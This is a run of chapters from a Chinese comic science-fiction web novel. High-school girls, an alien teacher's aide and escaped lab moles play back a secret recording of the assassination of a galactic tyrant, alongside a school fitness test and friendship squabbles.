弓粟听说自己不会被遣送回玛丽基金会,望着马英妹,启唇欲言。马英妹说你要是敢煽情我把你砸了,弓粟问一句都不行吗。马英妹说一个字都不行,弓粟道,那就没话了。
“你这么强啊。”马英妹一边捡地上的试卷一边跟她聊天,“造物主啊你,我还以为你就是个普通信教的。”
“我不是造物主……我只是承接了这项光荣的使命。灵肉的诞生是彻头彻尾的巧合,而这巧合,恰好证明了神存在于我们生活的每时每刻。”
“你来地球也是神安排的?”
“当然。”
“当然你个头啊!你是自己长腿来的,和神有啥关系。”
“这正是我想问的。”弓粟让美拉熊帮着扫地,“英妹,你知道我为什么答应你帮你们班同学做简易模型吗?”
“为什么?”
“因为我对她们很好奇。这两个人,一个想虐待动物而不自知,一个自私自利却会救下鼹鼠。我很好奇她们是怎么想的。我之所以能够逃离,是在真正的弓粟死后,和我竞争岗位的同事悄悄为我设计了一条电子通路,只要我愿意,就可以与连接其他电脑,实现逃逸。而我的确通过这条道路,逃到了都兰联合在太阳系的停机坪,然后搭乘一条监视信号逃到了榕城。
此举没有任何利益可言,她声称是不能忍受一个意识被囚禁。可我和她关系相当紧张,她甚至替换过我的实验成果,我不理解她此时没有任何回报的行为,所以才愿意搭建简易的模型。
现在,你和你的学生们能回答我吗?我的同事,你们的同学,你的学生,为什么做出这样的事呢?”
马英妹没有说话。笑话,她要是知道还能离婚吗。
刘征兰紧蹙眉头,思索良久,最终说,我不知道。
三个人各回各班。回去的时候张燕之焦头烂额,看到她俩就来气:“还溜达呢?宋悦馨带手机被发现了,在办公室挨批呢。”
刘征兰问:“她在办公室挨批关我们什么事?”
“老师打电话给她家长。结果你也知道的,她和她家长一脉相承,须溜拍马一把好手,现在她家长把老师给哄好了。”
“这不挺好的。”
“好个啥啊。”张燕之看谁都不顺眼,路过个扫把她都得踢一脚,“她家长到处供人,哪些坏学生跟他们闺女关系好带坏他们小孩,哪些男生成天找他们闺女玩疑似早恋,全给供出来了!宋悦馨咋啥都跟她家长说!现在好了,她倒是出狱了,现在班里的人一个接一个进去,半个班都没人了!我看快到我了,你俩也悠着点吧!”
张燕之说完就拿自己管着的一体机投影仪钥匙,尝试帮其他人一起把手机藏在投影仪里。她前脚刚走,柳令全后脚就来了,她抛出一个飞吻,甜腻腻道:“她可没出卖班上的社会人和孟含靓女士,因为社会人真的会打她。而孟女士有钱。”
刘征兰和康烁影立刻扑向自己座位,一个使劲儿把课外书装袋准备运往颜阎班上,一个发了疯似的找位子藏手机。收拾期间,刘征兰忽然顿悟。
“我明白了。”
“你明白了什么?”康烁影一转身从挂在桌边的收纳袋里刨出蓝牙耳机,“算了我不想听,你快干活吧。”
刘征兰把课外书全运到四班让颜阎代为保管。交接途中,她说出了自己的猜测:
说不定,宋悦馨不是坏。她只是学习自己的家长。因为她觉得人都是这样的,她难以想象一段利益交换不存在的关系,所以她出卖别人,也接受别人会出卖她。
但是宋悦馨……也许真的把我当成朋友,她愿意在自己失去利用价值后继续和我相处,还给了我风险预防,这已经是她能做到的最好了,更多的她想象不到。就像皇后不是存心要伤害动物,她只是没有思考,不曾想象行为的后果。
颜阎吸着奶茶,真诚地说:“好恐怖。我没法理解。但世界上的确有这样的人。”
“对。这就是为什么弓粟的同事会给她建立电子通道。”刘征兰和她干了个杯,“因为世界上就是有这样的人。”
路过此地的商博良用微妙的眼神打量着她们的奶茶:“谁给的?”
“校外的。”颜阎把吸管抽出来:“喝吗?”
“是不是一个成年男的,拎着三杯奶茶?”
“昂。”
“他直接来我们班敲门问你在哪来着。”商博良发出嫉妒的感叹,“谁啊他?”
“哦。”颜阎潇洒地吸了一大口奶茶,“我朋友。”
认识校外朋友在高中生里特别酷,即使对方没什么特别的,但是……校外耶,成年人耶。
目击了寻人全过程,正在听墙角的同学们齐声发出了“哇”的感叹。
颜阎很拉风地一扭头,带着刘征兰的收纳袋回座位了。当晚回家就给律易棋发消息:“下次还送进学校,知道不?”
65.画鼠房为牢
颜阎想起来一回事儿,她非常不希望自己想起来,但她还是想起来了。但凡这个念头成型了,她就无法欺骗自己,可她还是不愿意面对。
她苦着脸跑到马英妹办公室,跟收拾教材的马英妹说:“老师,我生物到底多少分啊?”
马英妹正想开口,她一把捂住自己耳朵跳到门口,警惕大叫:“要是特别差,您就别告诉我了。”
马英妹翻了个白眼,一脚踹在颜阎屁股上:“真没批,你看我办公室这样子,有时间批吗?”
“你想知道吗?”弓粟问,“我可以现在帮你批出来。”
“别当着我的面批!”颜阎一个后跳,把弓粟从视野里消除。结果正好被智神绊了一跤,差点后脑勺着地。
她双手成爪准备狂捏小鼹鼠泄愤,一抬眼却愣住了。
智神用马英妹的戒尺挑着一个塑料袋小包袱,嘴里咬着戒尺的一端,四肢着地往窗台上爬。婚神骑着曾是哼唱大蜘蛛的美拉熊,在后面紧紧跟着它,担忧的眼神几乎黏在智神身上。不管怎么看,都是叛逆青少年准备离家出走。
“咋了?”颜阎问,“跟家里人吵架了?”
智神就等着别人问。颜阎一张口,它就念念叨叨说开了:“叛徒!都是叛徒!安宁女士都答应送我们回去了!结果婚神要跟熊留在地球就算了,大姐居然也说要考虑考虑!我问大姐要不要逃到和平联合,大姐居然说不去!可恶啊,加入地质浪漫团的时候说喜欢地质,逃跑的时候说想吃工业零食,难道这些都是假的吗!”
智神用锥型的鼻头朝向天空,四只脚轮流跺地,情到深处,整个身体甚至因为精神紧绷颤抖起来。其他的人和生物却不见同情,大概是这短短几节课的时间它把这段话说了太多次,连心肠最软的弓粟都没有安慰,只是用无措的眼睛看着它。
“那你准备怎么办?”颜阎问。
“离家出走!”
“走去哪?”
这可问倒它了。智神严肃地低下头,拨弄了两下自己的胡须,用肉肉的手掌一下下刨着地面。
终于,它下定决心:“我要去当地球鼹鼠。”
“那你最好小心哦。我们地球人可没有灵肉保护条例。前有女高中生想把鼹鼠扔进打印机,后有什么……哼哼……”
“那我去壤找工作。”
弓粟轻声细语:“和藤发人一起生活的灵肉很在乎血缘哦。外来物种可以去旅游,但是扎根不太容易。”
“那……那……我回地质浪漫团!”
颜阎刚想张口,智神猛然跳起来,用头撞她的鼻子,然后迅速翻过窗户消失不见:“这也不行那也不行,烦死了!”
“诶?”婚神没来得及拦住它,“她刚才没这么快呀。”
“那个走路慢吞吞的鼹鼠呢?”马英妹抽空问了一句,“快叫它过来把它妹妹接走。”
鼹鼠大姐在杂货店里,它说有一些消息要偷偷告诉她们。颜阎一想到今天又要在杂货店集合,就知道今天没法在一点之前睡觉了,整个人都不高兴起来:“知道啦。”
律易棋为了不刺激谷神的眼睛,把店里的灯全关了,只留柜台后的一盏小台灯。去隔壁有烟草证的小卖部买烟的高中社会人路过,探头看了一眼,说老板你这店有老鼠啊。律易棋说没事那是宠物。对方问咬人吗能摸吗。律易棋大手一挥,能摸不咬!
于是好几个男生女生,烟味儿混着名创优品的香水味儿直钻谷神鼻子。谷神哼哼唧唧不给摸,于是几个高中生自费买了玉米肠喂它,把它给吃爽了。颜阎她们到的时候,它还在表演露肚皮。
颜阎和刘征兰对于社会人们一向是“惹不起我还躲不起吗”的态度。而康烁影初中曾是其中一员,态度相当熟稔,跟其中几个女生打了招呼后假装好奇,也去扒拉谷神玩。
“你小心一点。”黄毛社会姐说,“它肚子硬硬的,可能有什么问题。”
康烁影捏了捏,和平时手感没什么变化。她感觉纯粹是吃多了。
“好了,女士们先生们。”律易棋从仓库里钻出来,笑吟吟地向社会人们挥手,“打烊了!”
社会哥为他浮夸的称呼嗤笑了一声。黄毛社会姐依依不舍地跟谷神握了握手:“拜拜。”
颜阎问:“能让我们买袋柠檬薯片再关门吗?”
“当然。”
社会人们吵吵嚷嚷地走了。在场五个生物终于可以坐下来说话了。
谷神一骨碌爬起来,跳到律易棋怀里:“你们下次在学校小心一点好不好,我在监控里都看到你们跳格子了。向爬行文明暴露星际文明要坐牢的。”
爬行文明土著和逃犯嘿嘿一笑。
谷神自顾自回答:“好的,我明白了。你们不在乎。”
颜阎夹着嗓子:“你不会暴露我们的,对不对呀?”
“不仅不会,我还给你们带来一个大秘密。它在都兰联合任何一个注册组织里都能卖出够你们挥霍一生的金钱,前提是你们真的能找到合适的买家——哦,还要小心程序中的陷阱。”
三个人神情恹恹,只要不是高.考.答.案,她们都毫无兴趣。
律易棋饶有兴致:“什么秘密?”
谷神就地躺下,掀开自己肚子上棕褐色的毛。刘征兰伸手摸了摸,确实摸到和智神手感不同的硬块。
“在我的身体里。”谷神说。
鼹鼠三姐妹来自一个和平联合富豪赞助的实验室,用于研究智慧生物最喜欢的永生问题。
虽然觉醒联盟致力于解放所有实验用灵肉,但这种行为在高层屡禁不止。谷神从前没有接触过外界,它和它的同胞姐妹们被养在一个生态箱里,和外界天然隔绝。它们从来没有见过其他实验室的小鼠,乃不知有白鼠,无论猫狗。
鼠房管理是个实习生,对它们很好,偶尔还会对着它们碎碎念:“你们要好好吃饭,好好锻炼,努力学习,通畅排泄!宇宙的未来就靠你们了!”
当时还只是实验小鼠630的谷神问他:“为什么靠我们了?”
“因为你们特别伟大!你们为实验做出了好多贡献。要不是你们实验动物,实验根本无法安全推进!整个宇宙的生物学都需要你们!”实习生挥舞着双手,露出白白的牙齿,“而且你们生在实验室,可比外面的小鼹鼠好多了!外面有熊,锯齿动物,还有工业污染。你们生在这么好的环境里,可一定要提升自己,争取为世界创造价值!”
630相信了。它每天必吃五条肥蚯蚓,三片蔬菜和两个指节长宽的小玉米,蔬菜每五天换一种。每天挖洞25米,以锻炼肌肉。每天还要学习外语,目前已经斩获几大证书,含金量约等于雅思7.2分。除此之外,在电子学方面它也颇有建树,完全可以去跨星系公司应聘技术人员。
它九岁那年生了一场严重的病,631和632在旁边搂着它哭哭,连实习生都以为它要死了。但它没有死,它坚持爬起来,挖了15米的洞,最后昏死在土里。它的妹妹们往它嘴里狂塞这样那样的草药,过了两天,它居然活了!
可630仍然惊慌不已。它没有完成今日任务,万一这些疏忽它的身体不够健康,知识不够丰富,让实验出了状况可怎么办?实验出了状况,他还怎么保护宇宙的生物学。
“呃,你可以不那么紧张。”631劝它,“你可以放松一点。没有你还有我们呢。你可以看看闲书,玩玩跑轮,探索一下其他鼠笼。”
“可是你们比我还游手好闲不健康!这样下去,宇宙的生物学就要完了!”
631劝不了它,挠着头走掉了。
实习生非常欣赏这种心态,于是经常与它攀谈。在一个实验室飘散着泥土芳香的夜晚,实习生为它取了名字。
“谷神,如何?”
“什么意思?”
“一颗遥远的小行星。”他说,“宇宙中有一个神秘的地方——地球,那是个都市传说高发地,听说那里有我们
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无法理解的神秘力量,谷神就是地球所处的星系——太阳系,编号为1的小行星。”
“就像空想文明一样的传说?”
“嗯。传说它们都是神的造物。我不太相信就是了。”
谷神点了点头。然后它要求实习生给自己的姐妹也取个名字。实习生用二号小行星智神,三号小行星婚神命名了它们。小行星三鼹鼠就此诞生。
谷神深受感动,从此更加努力地锻炼,争取每天挖出五十米,成为实验效果最好的鼹鼠。它的姐妹们和它患难与共,每天一块儿在实习生的鼓励中挖地,鼠房俨然成为健身房。
可是没过多久,它们就被放生了。
“肌肉含量太大了,煲了吃都咯牙,指不定都能挡子弹了。”实习生的学长乐了,“雌激素水平太差了,影响实验结果,放生吧。”
“不能让它们去工作吗?”
“悬。”学长苦着脸对他摊手。后来谷神明白了,那是因为学长怕它工作后接触到外界的信息,觉得它们在压迫灵肉,从此投靠觉醒联盟。但当时的它懵懵懂懂,一概不知。
“放生去哪儿?”
学长翻着眼睛想了想,忽然邪恶一笑:“诶,你养鼹鼠不?”
小行星三姐妹就这么被踢出了实验室,成为宠物。
被实习生带出实验室的一刹那,谷神惊呆了。
排列整齐、闻不到头的鼠笼,层叠在分布科学内饰简洁的房间里。除了鼹鼠,还有小白鼠、花栗鼠、土拨鼠、南方大老鼠。每个房间都配备承重仪和大量鼠砂、纸棉、水瓶、鼠粮,和它们的生活并无不同。
原来宇宙生物学并非由它们一力承担,世界上像它这样的鼹鼠老鼠花栗鼠数不胜数,即使它们离开了,也永远都会有替代品。
谷神感觉自己全身的毛都变硬了,发根像一根根小针扎在它皮肤里,它灵敏的鼻子闻到自己喉咙深处的苦味。
可恶啊!
谷神怒从心头起,恶向胆边生——我不能好过,我也要让你们不好过!
它转身跑进实验室深处,实习生问它去干什么,谷神说跟鼠房的朋友们告别。实习生同情地把脖子上的项链摘下来,上面是一个小小的方块。是个录音格,他拿来防止导师压榨的。
“录下来吧,以后还能经常回忆。”
天助我也!谷神大笑,叼着录音格往院长办公室跑。
院长是只邪恶浣熊,因为肢体末端灵敏,一直使用人类的讯传。谷神凭借自己优秀的嗅觉摸到办公室,又通过键盘各个按键的气味浓度猜出密码,最后一键进入。
强烈的光线使它的身体颤抖不已,但是它不在乎!它用几乎退化的眼睛,通过颜色辨认上面的字迹。暗,暗,暗……有一个颜色鲜艳的文件,它记得那代表着机密度极高。
此前只触碰过嗅探讯传的鼹鼠顶着强光,运用纸上谈兵的电子学技术跨越了网络封锁。文件夹里只有一个视频,这下它真的没法再看了,只能用录音格把它录下来。
藏在哪里呢……
它摸到了自己的肚子。
在那个夜晚,实验室巨大的舷窗外,宇宙里的恒星光芒熠熠,脉冲星释放如同海浪的波段,天体与星际尘埃静默流转。以一个小行星命名——如今已经是矮行星了——的鼹鼠,用消毒后的刀片划开自己的腹部,将小小的录音格塞进去,再用细细的线缝起来。
它的手一点也没有抖。
然后它晃醒等到睡着的姐妹们:“醒醒,我们走。”
“啊?”智神睡眼惺忪,“不去当家养鼹鼠了?”
“家养个鬼啊!”
“那我们去哪儿?”
谷神没想过这回事。觉醒联盟?壤?反正不能回和平联合的实验室!
它现在最想做的就是去地球看看。它把脑子里的选项分类、整理、筛选,最后定格在那个最有可能让它去地球的组织上。
“我们去地质浪漫团吧!”
66.凡胎肉.体
出于地球土著的集体荣誉感,康烁影眨巴着眼睛,期待地问:“那你现在觉得地球怎么样?”
谷神言简意赅:“烂。”
颜阎和刘征兰大笑。
“我就是为了拿出那个录音格才把弓粟约到文印室的,在中年人类面前不好解释,只能用别的电脑。那里的电脑是全校除了中年人类的自费电脑外内存最大的。结果还是崩溃了。连带着打印机也疯了。”
律易棋做不来动物手术,他建议谷神去找弓粟和马英妹解决这个问题。要是害怕弓粟的系统保密性不够高,可以把录音格拿出体外后再拿给他,他的设备是专门定制的,绝无泄密可能。
“别忘了跟你的小姐妹好好说话哦,智神都离家出走了。”
谷神老气横秋地叹气:“我知道了。”
谷神被送回马英妹的办公室。颜阎和康烁影错过了一个晚上的自习,狂补作业一整夜,第二天齐齐犯困。刘征兰掐指一算,对康烁影说:“我猜,你没睡几个小时。”
“那你可猜错了。”康烁影没好气,“我压根没睡。”
聪明刘征兰早在灵肉会见谷神时就一边在膝盖上写作业一边听,比另外两个纯看热闹的状态好多了。她疾步冲去厕所吐了一回,又上了个厕所,然后才慢悠悠走出来,甚至不用赶着回去睡觉。
不就是学习压力大家庭环境差引起的胃病进而导致每天早上一吐吗,这太常见了。在腱鞘炎脊椎病抑郁症内分泌失调的高中生中都不算事。但今天有所不同,她在厕所里遇到了卫絮和张晓怡。
张晓怡左手护着卫絮的后背,右手挡在自己身前,背对着刘征兰,用警惕的眼神回头看她。卫絮则是笑眯眯的,自从诅咒纸条后,她在班级里的地位变得有些尴尬,全班同学对她的评价两极分化严重,正极觉得她做事多少有点不地道,负极觉得她是大义灭亲重创数学老师的义士,无论如何,至少不是一边倒的讨厌了。
这两个人怎么凑到一块儿的?女高中生的社交圈已经流动到这个地步了?
张晓怡看她迟迟不到,开口赶她:“你盯着我们干嘛?快走快走。”
刘征兰微微一笑:“爱上你了。”
卫絮狂笑。张晓怡龇牙咧嘴。但她和刘征兰毕竟属于一个小团体,有的是方法治她。她在明知刘征兰讨厌肢体接触的前提下撸起袖子,一边叫着“我上完厕所没洗手”,一边扑向她。
刘征兰败走女厕所。
马英妹说给谷神做了小手术,的确拿出一个小橡皮那么大的金属制品。谷神不让她们成年人看,马英妹说我稀罕你那铁块儿?但是她也不给自己的学生。
“好好学习,别想这想那的。周五给你们,表现不好就没收。”马英妹如是说。
于是颜阎上课比平时积极不知多少倍。举手举得后面同学看不见黑板。
讲卷子的马英妹呵呵一笑,心道我还治不了你们:“颜阎,今天很清醒嘛。来,你说说高度分化的神经元内会发生哪些过程。”
“转录和翻译!”
“很好。坐下吧。神经干细胞呢?”马英妹一顿,“这么积极呀?那还是颜阎。”
“转录翻译复制!”
“好的坐下。”
“第四题遗传题。大家看哈隔代遗传,那大概率是什么?对,隐性。伴x隐性的口诀是什么?……还是颜阎,没有其他同学吗?好的好的颜阎别举了,你来回答吧。”
“母患子必患子常父必常!”
“对。积极是好的,但你也要给其他人留点机会……”
颜阎阴险一笑:我还没有办法?这节课下来马老师必然不会点我了!到睡觉的时间了。
楼上是师生间的斗智斗勇,楼下是斯巴达式的肉.体炼狱。二班在绕操场跑三圈之后正准备解散,多年不见的体育老师闪亮登场。
上一次和他见面还是在开学,大家犹记得他当时还有几撮生于微末的发茬,如今头顶已经完全光洁如新。上次还人模人样的运动服和撕拉裤,如今已经完全变成老头背心和小短裤。他甚至已经不屑于掩盖他的当地口音,将普通话完全抛之脑后。甫一张口,全班三分之一的人都听不懂他在说什么,只能听到此起披伏的哀嚎。
“他说啥?”刘征兰问排在她旁边的甘忘营。
甘忘营皱着脸:“今儿体测。”
“……他是不是觉得六月期末考,他的课没法上了,干脆现在考完一了百了,六月提前放假?”
“知道就行了,说出来他就会让你意识到,他是怎么当上的体育老师。”
“靠强健的体魄?”
“No。靠三寸不烂之舌。”
光头老师翻了翻手上的记录表,喉咙里发出卡痰的清嗓声,听起来很像摩托车气缸启动。在轰隆隆的发动声里,他问:“来吧小青年,一钱还是五十加跳员?”
这回刘征兰听懂了,他问一千还是五十加跳远。
所有人一起大喊:“五十!五十!”
喊得校长探头看了两眼,以为学生要起义造反,砸穿承重墙。
光头老师也乐得五十米。他把记录表和哨子扔给班上男同学,让他们发起跑号。甘忘营说老师我是体育课代表,光头老师装没听见。男同学一边用袖子擦进气口一边苦着脸看她:“你来。”
甘忘营手一背:“还是你来吧。”
操场跑道总共就四排,一组四个人跑,很快排到刘征兰。她先是深呼吸,又是活动手腕脚腕,柳令全给她捏肩,跑完在终点等着的康烁影和张晓怡互相挽着胳膊跳圆圈舞当拉拉队,被光头老师驱散了。
拿哨子的男生举起手,哨子放在嘴边,“吁”地吹出划玻璃般的响声。刘征兰弹簧一样窜出去,沙袋一样砸下来,“哐当”一声撼动大地。
排在她身后的柳令全大惊,抱起她开始掐人中:“别死啊小刘!我化学还没写完!”
康烁影从远处奔来:“老刘————”
而张晓怡拿着尖叫瓶子打湿卫生纸,准备直接往她额头上呼。
“没死,没死。”刘征兰眼前发黑,脑袋里热乎乎昏沉沉,像是全身的血都灌进了上半张脸里,“起猛了。”
光头老师不敢让她跑了,偷摸给了她一个9′3′′。
仰卧起坐也是两人一组。刘征兰当时被张晓怡拎去洗脸——说是洗脸,其实完全是拿着沾水的卫生纸往她脸上抹,把她五官都搅成一团混色橡皮泥。张晓怡说她给她弟就是这么洗脸的,不服憋着。
洗完之后,两个人前胸往下都是一片深色的水渍。张晓怡沉默地看着她。刘征兰爽快承认:“都怪我。”
回来的时候只剩康烁影和柳令全没组队等着她们。她俩一看就乐了,刘征兰她们不敢摆弄,干脆上手扒拉张晓怡。等到张晓怡从柳令全身后闪亮现身,她的卫衣领口已经拉过头顶,两只胳膊鸡翅膀一样缩着,腰上露出一截小肚子。
柳令全展示:“豌豆射手。”
康烁影拿出手机拍照。张晓怡阴仄仄道:“我早晚要把你俩杀了。”
已经测完两轮仰卧起坐的女生从垫子上站起来,这一组再测完就轮到她们了。刘征兰认清自己挂件的命运,等着那三个人自行组队,然后把剩下的分给自己。
趁着张晓怡把衣服拉回来,柳令全和康烁影组好队。康烁影本来想跟身高差不多的张晓怡一起,结果柳令全在一边挤兑她:“她和刘征兰差不多,体育撇成那样,高一立定跳远都能跳成青蛙趴。还是咱俩一块儿。”
张晓怡从领口探出脑袋,发型像是被猫抓乱的毛线球:“我那是鞋开胶了!那鞋地摊货,才五十。现在这双好多了!”
她其实想引出自己的鞋。这是一双AJ1芝加哥配色,正版二手价格大概在八百多,但她买的是莆田货。为了逼真,她专门在网上找了鉴定视频,自己一点点对比,把能改的都改了。
但柳令全只是用眼睛扫了一圈:“你穿什么鞋都一样!”
张晓怡脸色骤变,笑容蓦然从她脸上消退。
柳令全不知道自己说了什么话惹她不开心了,她脊背一直,有些茫然地看着她:“呃……要不……”
张晓怡径直走到康烁影身边,一把挽住她的胳膊:“康烁影,平时是谁跟你一起去县里下馆子?是谁不惜等车一个小时都要和你去逛商场?是谁在你来月经的时候给你送红糖水?”
康烁影愁眉苦脸:“你。”
她要是不说这话还好,她一说,柳令全的火气也有点上来。明明就是几句玩笑话,不高兴就说嘛!她也不是非要和康烁影一组,结果拉拢康烁影,倒像是在跟她竞争了。
“康烁影,是谁每周调位都帮你搬桌子?是谁给你买皮肤?是谁在你过生日的时候骑电动车去给你买奶茶?”
康烁影垂头丧气:“你。”
两个人怒目圆睁,可谓是:姹金履张晓怡怒争友邻,怒颜色柳令全不甘人下。欲知后事如何,请听后事分解。
她们还没争完,刘征兰已经找张燕之帮忙压着脚做完了仰卧起坐。光头老师催她们:“就差你们了!三个一起吧!”
还在闹别扭的两个人冷着脸让康烁影帮忙压住脚,而康烁影……由于两人互不相让,只能由刘征兰压着脚。她们三个最后是在万众瞩目下做的仰卧起坐,连次数造假都做不到。
此事件最大受害者康烁影道:“我可是被害惨了!”
高中小团体内有小型摩擦,这本是再平常不过的事,不出三四天她们就和好了。可是刘征兰最近每天早上去厕所都能碰见张晓怡和卫絮角落密谋,次数一多,连她俩都问:“你怎么成天大早上往厕所跑?”
“我还想问你们。”刘征兰道,“你们怎么成天在这儿聚头,不嫌味儿吗?’”
“你还能找到别的地方,靠近教学楼,不会被老师抓,还不会被别人搭话的地方吗?”
“厕所没人?”
“你上厕所跟别人搭话?”
说的有道理。但刘征兰还是觉得奇奇怪怪。难不成张晓怡想要脱离小团体自成一派?
“这可不好!”出来遛自己的颜阎和她在楼道里短暂碰面,听完厕所奇遇记后一通分析,“你能在这个小团体里隐身,全靠康烁影、柳令全和张晓怡之间微妙的平衡关系,而你恰好能在这个结构出现倾斜时作为候补选项出现。要是张晓怡跑了,小团体就会出现康烁影和柳令全过度亲密的情况,你不是在不知不觉间被排挤出去就是被迫进行一些感情劳动,这样下去,你就要真和她们交朋友啦!”
“……听着怎么这么缺德?”
“好意思说我!”
刘征兰再一次偶遇两人秘密交易现场时,周五和高考假期一起到了。这次周日不上课,放两天,老师的作业差点把桌上睡觉的颜阎埋死。
马英妹把录音格还给她们,谷神本鼠却不愿意跟着她们回小卖部。它如今
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享受正畜级待遇,有人供水有人放粮,马英妹怕它热死,还会特意给它开空调——连教室都不舍得开空调!
“你不觉得你很庸俗吗!”刘征兰谴责它。
“我俗不可耐。”谷神爽快承认。
小假期耀武扬威地来,背着作业灰溜溜地走。
一会儿还要去上英语补习班的颜阎、赶着跟小伙伴去逛商场的康烁影和被家长催着回家的刘征兰在莫妮卡杂货店聚头。律易棋放下卷帘门,打开飞箱,四个人挤挤挨挨钻进去,播放录音。
前面是一段难以辨认的声音,听得出来收音效果不大好,压缩过程中损坏严重,有滋啦滋啦的杂音和失真。偶尔能听到一两句清晰的痛骂,言辞之粗鄙,刘征兰都缩了下脖子。
过了许久,久到颜阎都急了,脚尖冲着门外不停挪动,录音里终于传来一句有用的话:“你不该来。”
“我不该来。”这句话明显是从通讯设备里传来,它比上一句还要不清晰了。对话中的两人不在一个地方。
“但你还是来了。”
“但我还是来了……”
刘征兰道:“把这个古龙跳过去。”
律易棋怕错过什么信息,他按了加速,终于在两倍速里捕捉到一条有用信息。他退回一秒前,重新听了一下录音。
“你来做什么?”那个低沉的声音道,“奢里尔?”
康烁影指着自己,目瞪口呆。
“我来劝你收手。”
“我做的有哪里不对吗?”低沉的声音很难辨认,像是一锅沸腾的糖浆,粘稠、冒泡,“我要把所有人从神的手中解救,这有哪里不对吗?难道你们甘心被祂掌控?”
奢里尔说:“你说有什么不对?我们整个学院都被填黑洞了!这还不够残暴的?”
“这是必要的牺牲。祂随时能够碾碎我们的文明,就像祂碾碎空想文明一样。为了保护大多数人,我只能这么做!”
“……你爱牺牲你牺牲行不行?”
“我的母星已经在人类和迁氧的战争中毁灭,我亲手挑选了作战地点。”
一阵沉默。
颜阎和刘征兰对视一眼,感觉无语已经快溢出来了。
这时候,一个嗡嗡作响的女声由远及近:“那位神剥削我们了?”
“暂时没有。”
“拿我们填黑洞了?”
“暂时没有。”
“你确定祂会对我们动手了?”
“祂随时可以。”
“那就是没有。”女声道,“那祂爱掌控掌控吧,挺好的。”
“你们……你们宁愿为了一时的安稳而臣服于神!当祂随手毁灭我们的文明时,一切都已为时已晚。为了文明的延续,为了宇宙的未来,我必须这么做……任何一个爬到我这个位置的人,任何一个了解到真相的人都会这么做!即使没有我,也会有他人!”
对面没人说话了。滋啦滋啦的电流声里传来隐约几声苦笑。奢里尔和另一个女人似乎挂断了通讯,只剩下男人粗重的喘息。
过了许久,男人缓慢地抽了一口气:“古纳辛。”
“哗”一声轻响,然后是靴子的碰撞声:“是!”
“ta们到哪里了?”
“诺斯特巨构的花园环,离中心环远着呢,长官。”
“刻石人的弹药补充完毕了吗?”
“是的,长官。”
“暗探在路上了吗?”
“她说已经靠近中心环了。”
“去吧。”
剩下的部分,音频波形没有变化。颜阎急到原地高抬腿。律易棋大发慈悲把波形图拉到一个峰值明显增高的地方。
长久的杂音后,终于听到一声轻轻的“哗”。一个声音清亮的女声在录音里响起:“您好,泰雷恩特先生。”
律易棋脖子一伸:“嗯?”
“……是你。”
“是我,我为您带来了人类共同体中叛徒的名字,希望能为您带来帮助。”
“说吧。”
女人一个接一个报出了名字,声音非常缓慢。对面的泰雷恩特没有插话,可能是在记录。
终于,女人报完了最后一个名字。
泰雷恩特的声音里有隐藏不住的欣喜:“你为人类做出了难以想象的贡献!”
“谢谢您,但我有一个小小的请求。”
“说吧,孩子。”
静默数秒后,一声撕心裂肺的哀鸣将音频波形拉成一个陡峭的峰型。
泰雷恩特的声音含糊而断续,似乎是扯着自己喉咙里的肌肉发出的哀嚎:“为什么!为什么?你们难道看不到远处的危机吗?神要降临了,祂将毁灭所有人!你们就这么坐等末日吗?”
“我们假装神真的存在。”女人淡淡地拔出刀,血肉支离之声清晰可闻,“没人,有责任和义务,牺牲自己当下的利益,去完成对未来的美好承诺。”
“若是你的前辈这么想……然后,灾难降临到……你们这一代头上……你还能说出这种话吗……”
“当然。”女人道,“被神碾死,总好过被暴君折磨到死。”
泰雷恩特低声笑起来。他的笑声越来越高,越来越响亮,像是风雨之夜中旧屋吱呀作响的木板门。
在一个抽气后,他死去了。
女人离开了这个房间,随着房门“哗”地打开,她低声道:
“血肉之躯。”
67.孽子
颜阎听完最后一句话,立刻掀起卷帘门,背着书包奔向补习班。一边跑一边发出狂笑。律易棋在后面扯着嗓子问她笑什么。她倒着跑了几步:“荒诞!”说完就大笑着离去了。
不急着回家的两个照例白吃白喝。康烁影说你刚才听到泰雷恩特反应很大,你知道这事?
“静默事件嘛。”刘征兰道,“还挺有名的。我和颜阎也看过。”
“多有名?”
“对于人类来说……大概是秦朝灭亡那个级别的事。”
“哇!”
刘征兰问康烁影还记不记得跑团里的事。那里明显是迁氧的地位高于人类。但是后来出现了一个名叫人类共同体的政治组织,是如今婆旦·颇萝旦与和平联合的前身。
人类共同体的领导者泰雷恩特与一位富家女结婚,而后跻身上流,在五十年内建立了太空巨构诺斯特。这位暴君在职期间,人类与迁氧、智械多次开战,人类地位达到了史无前例的高度。
但最后他因为手段残暴、大幅征兵、言论控制等原因,在民间声望极差。不愿忍受高压政策的诺斯特巨构内部掀起一场小型革命。整场革命以行动迅速保密出色而闻名。传说行动从开始到结束,巨构中层的居民都浑然不觉,如往常一样生活。
这场行动史称静默事件。最后以一位人类平民女性暗杀了泰雷恩特而结束。
“虽然泰雷恩特晚年的确信仰四维生物创世论,但没听说过他发动战争和信仰有关。”律易棋一边结账一边补充。来买零食的学生问他在聊什么,他毫不掩饰地一挥手,“游戏剧情。”
刘征兰思考片刻:“你说有没有可能,他自己也觉得自己这理由拿不出手。”
康烁影和律易棋双双沉默:“……有道理。”
“而且最后那句血肉之躯挺有名的来着。我看很多书里都会引用,是巧合吗?”
“不是。这句话的确非常经典,意思是暴君也不过是一个凡人而已。”
康烁影在旁边吃了半天柠檬味薯片,终于找到了插话的时机:“那个刺杀者的名字是什么?”
“科黛。”
还是跑团里的人物。这就非常耐人寻味了。
根据律易棋的说法,静默运动参与者众多,并不是所有人都有记载,奢里尔等人未曾留名,但根据录音可知,它的确出现在了这个事件里。同样出现的还有科黛,根据推导,当时还是刻石人领导者的唐捐大概率也在。
难道跑团骰子和静默运动有关?还有,这段录音为什么是机密,为什么泰雷恩特的狂信徒身份不为人知?难不成真的和所谓的“神”有关系?智能创造论又赢了?
脑子乱乱的。但录音里有一点说得很对。神剥削我们了吗?没有,那就无所谓!等祂毁灭我们了再说吧。
律易棋向刘征兰和康烁影要求征用这个录音格,两人同意了:“音质比我手机还差,谁需要哇!但是卖了钱记得跟我们三七分。我们七你三。”
“想多了。”律易棋道,“我搞革命的,我顶多拿回去跟我们的组织人以曰马薇复命。钱一分没有,饮料你们倒是可以多拿两瓶!”
堂堂革命组织,甚至不愿意开一个空头支票了!人心散了感情淡了,不把她们当回事了!两人难过不已,带着芦荟味全离店出走。律易棋在后面喊别成箱搬啊那个真的很贵。康烁影听完,又顺了一条巧克力。
